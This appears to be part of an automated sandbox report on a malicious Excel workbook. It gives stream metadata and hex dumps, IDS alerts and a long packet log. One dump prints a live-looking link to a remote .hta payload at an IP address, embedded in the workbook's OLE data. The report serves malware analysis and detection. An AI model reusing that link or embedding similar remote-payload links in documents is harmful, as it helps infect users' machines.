Data ASCII:	. . . . I . d J . . . . . . . . . . . . . . . y . . . K . . . . h . t . t . p . : . / . / . 1 . 9 . 8 . . . 1 . 2 . . . 8 . 9 . . . 2 . 4 . / . x . a . m . p . p . / . k . v . r . m . o . t . / . k . v . r . m . / . g . r . e . a . t . c . o . m . e . b . a . c . k . d . o . i . n . g . f . o . r . e . v . e . r . w . i . t . h . g . r . e . a . t . . . h . t . a . . . } . c 2 k ~ . ; Y . . M . P ~ # . . . . . . . . . . . . . . . . : . . . j . u . l . 8 . i . m . Q . H . R . N . L . i . 4 . k . 6 . a . g .
Data Raw:	01 00 00 02 87 fd 49 10 64 b2 87 4a 00 00 00 00 00 00 00 00 00 00 00 00 be 00 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b ba 00 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 38 00 2e 00 31 00 32 00 2e 00 38 00 39 00 2e 00 32 00 34 00 2f 00 78 00 61 00 6d 00 70 00 70 00 2f 00 6b 00 76 00 72 00 6d 00 6f 00 74 00 2f 00 6b 00 76 00 72 00 6d 00 2f 00 67 00 72 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 96277

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	96277
Entropy:	7.991704392584178
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . . . u & . . . . # : t . * D J ] 6 [ . . \| . . . . . . . . . . . . . . \\ . p . . F . A . F U L L . . . L C . . C 6 \| . . D G . @ + . ~ ) u . . . v ] O . - / l ) R 0 0 . - y S f ` . B . . . e a . . . 1 . . . = . . . . J Y . . . . . k . ` . . . . e \| . . . . . . . . . . . . . . . W . . . ? . . . K = . . . A z B s . . < @ . . . . H . . . " . . . Y G . . . . 5 w . . . 3 . . . 1 . . . . _ p ; + . & 2 . { 4 + I M . v . 1 . . . . u . 7 . . . I $ } . a . . 2 & 1
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 c4 a8 d8 a3 75 26 1e d4 aa c5 da 0a 10 f7 9b 23 9e c0 84 9a c1 3a 74 b7 9c ff d2 b1 2a 44 4a 5d 36 ed e6 5b c8 e7 c1 02 0e ac 7c bc a7 e6 83 a9 87 00 00 00 e1 00 02 00 b0 04 c1 00 02 00 90 c0 e2 00 00 00 5c 00 70 00 04 46 ee c0 1a 41 c6 bd 46 9b 55 b9 4c ce 4c ae f0 05 1f a3 04 4c e8 43 1d ff

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 519

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	519
Entropy:	5.218667437949908
Base64 Encoded:	True
Data ASCII:	I D = " { A B 1 6 6 2 D 3 - 8 1 F 4 - 4 C E 6 - 9 1 2 E - 3 7 2 5 6 2 5 2 2 6 4 5 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 0 0 0 2 9 C 9 A A 0 9 A A 0 9 A A
Data Raw:	49 44 3d 22 7b 41 42 31 36 36 32 44 33 2d 38 31 46 34 2d 34 43 45 36 2d 39 31 32 45 2d 33 37 32 35 36 32 35 32 32 36 34 35 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	4.000719438931664
Base64 Encoded:	False
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.375463798458224
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . U . i . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 55 1b ea 69 12 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-03-15T08:55:54.980783+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49741	13.107.246.60	443	TCP
2025-03-15T08:56:01.127852+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49742	13.107.246.60	443	TCP
2025-03-15T08:56:01.169962+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49743	13.107.246.60	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 15, 2025 08:55:38.612169027 CET	49738	80	192.168.2.5	198.12.89.24
Mar 15, 2025 08:55:38.619734049 CET	80	49738	198.12.89.24	192.168.2.5
Mar 15, 2025 08:55:38.620271921 CET	49738	80	192.168.2.5	198.12.89.24
Mar 15, 2025 08:55:38.620389938 CET	49738	80	192.168.2.5	198.12.89.24
Mar 15, 2025 08:55:38.627839088 CET	80	49738	198.12.89.24	192.168.2.5
Mar 15, 2025 08:55:39.105843067 CET	80	49738	198.12.89.24	192.168.2.5
Mar 15, 2025 08:55:39.106306076 CET	49738	80	192.168.2.5	198.12.89.24
Mar 15, 2025 08:55:44.097230911 CET	80	49738	198.12.89.24	192.168.2.5
Mar 15, 2025 08:55:44.097342968 CET	49738	80	192.168.2.5	198.12.89.24
Mar 15, 2025 08:55:54.238423109 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:54.238477945 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:54.238569021 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:54.238945961 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:54.238960028 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:54.980721951 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:54.980782986 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:54.982223988 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:54.982237101 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:54.982486010 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:54.983669043 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.028317928 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.085833073 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.085856915 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.085871935 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.085911036 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.085941076 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.085956097 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.086132050 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.168165922 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.168189049 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.168229103 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.168241978 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.168267012 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.168292999 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.170054913 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.170073032 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.170110941 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.170118093 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.170145988 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.170161963 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.255217075 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.255243063 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.255299091 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.255310059 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.255565882 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.256014109 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.256042004 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.256069899 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.256076097 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.256115913 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.256115913 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.257936001 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.257961988 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.258025885 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.258025885 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.258033037 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.258243084 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.258636951 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.258662939 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.258714914 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.258714914 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.258722067 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.258811951 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.342900991 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.342928886 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.342998028 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.342998028 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.343008995 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.343197107 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.343677044 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.343696117 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.343770027 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.343770027 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.343779087 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.343887091 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.345041990 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.345062017 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.345124006 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.345124006 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.345132113 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.345310926 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.346240044 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.346266985 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.346318007 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.346318007 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.346323967 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.346430063 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.346502066 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.346517086 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.346554995 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.346560955 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.346612930 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.346612930 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.348088980 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.348112106 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.348150015 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.348156929 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.348180056 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.348207951 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.348922968 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.348939896 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.348995924 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.349005938 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.349173069 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429045916 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429073095 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429167986 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429168940 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429183006 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429769039 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429790020 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429852962 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429856062 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429857016 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429866076 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429886103 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.429924965 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429924965 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.429935932 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.430553913 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.430578947 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.430644035 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.430644035 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.430653095 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.431291103 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.431307077 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.431381941 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.431382895 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.431391001 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.434761047 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.434786081 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.434871912 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.434871912 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.434881926 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.434894085 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.434909105 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.434947968 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.434954882 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.435103893 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.435601950 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.435621023 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.435662031 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.435671091 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.435703993 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.484169960 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.516495943 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.516531944 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.516565084 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.516571999 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.516592979 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.516614914 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.516644001 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.516652107 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.516669035 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.516690016 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.517201900 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.517220020 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.517277002 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.517285109 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.517294884 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.517399073 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.517775059 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.517798901 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.517837048 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.517846107 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.517868996 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.517889023 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518069029 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518085957 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518141985 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518141985 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518151999 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518337011 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518836975 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518852949 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518923998 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518937111 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518949032 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518961906 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.518969059 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.518978119 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519013882 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519035101 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.519035101 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.519042969 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519087076 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.519087076 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519087076 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.519102097 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519119978 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519162893 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.519162893 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.519171000 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.519345045 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602554083 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602607965 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602631092 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602659941 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602695942 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602746010 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602766991 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602798939 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602829933 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602837086 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602874994 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602906942 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602917910 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602943897 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.602972031 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.602978945 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603019953 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603019953 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603267908 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603291988 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603343964 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603353977 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603374958 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603410006 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603499889 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603542089 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603598118 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603598118 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603605986 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603684902 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603893042 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603944063 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.603976011 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.603984118 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.604017019 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.604017019 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.604093075 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.604118109 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.604156017 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.604161978 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.604214907 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.604255915 CET	49741	443	192.168.2.5	13.107.246.60
Mar 15, 2025 08:55:55.604497910 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.604518890 CET	443	49741	13.107.246.60	192.168.2.5
Mar 15, 2025 08:55:55.604561090 CET	49741	443	192.168.2.5	13.107.246.60
